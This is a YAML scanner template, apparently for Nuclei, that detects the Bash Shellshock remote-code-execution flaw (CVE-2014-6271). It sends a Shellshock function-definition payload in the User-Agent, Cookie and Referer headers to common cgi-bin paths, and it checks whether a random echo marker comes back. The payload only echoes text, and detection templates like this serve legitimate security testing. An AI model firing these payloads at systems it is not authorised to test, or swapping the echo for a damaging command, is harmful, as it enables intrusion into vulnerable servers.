id: xpl-rce-shellshock
info:
  name: "Bash Shellshock RCE (CVE-2014-6271)"
  author: imtaqin
  severity: critical
  description: |
    Remote code execution via malformed function definitions in Bash
    environment variables, exploitable through CGI endpoints.
  tags:
    - cve
    - rce
    - shellshock
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-6271
  classification:
    cvss-score: 10.0
    cve-id: CVE-2014-6271

variables:
  marker: "xpl_shock_{{randstr}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/status"
      - "{{BaseURL}}/cgi-bin/test"
      - "{{BaseURL}}/cgi-bin/test.cgi"
      - "{{BaseURL}}/cgi-bin/test.sh"
      - "{{BaseURL}}/cgi-bin/bash"
      - "{{BaseURL}}/cgi-bin/env"
      - "{{BaseURL}}/cgi-bin/info.sh"
    headers:
      User-Agent: "() { :; }; echo; echo; /bin/echo {{marker}}"
      Cookie: "() { :; }; echo; echo; /bin/echo {{marker}}"
      Referer: "() { :; }; echo; echo; /bin/echo {{marker}}"
    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "{{marker}}"
        name: body-reflection
      - type: word
        part: header
        words:
          - "{{marker}}"
        name: header-reflection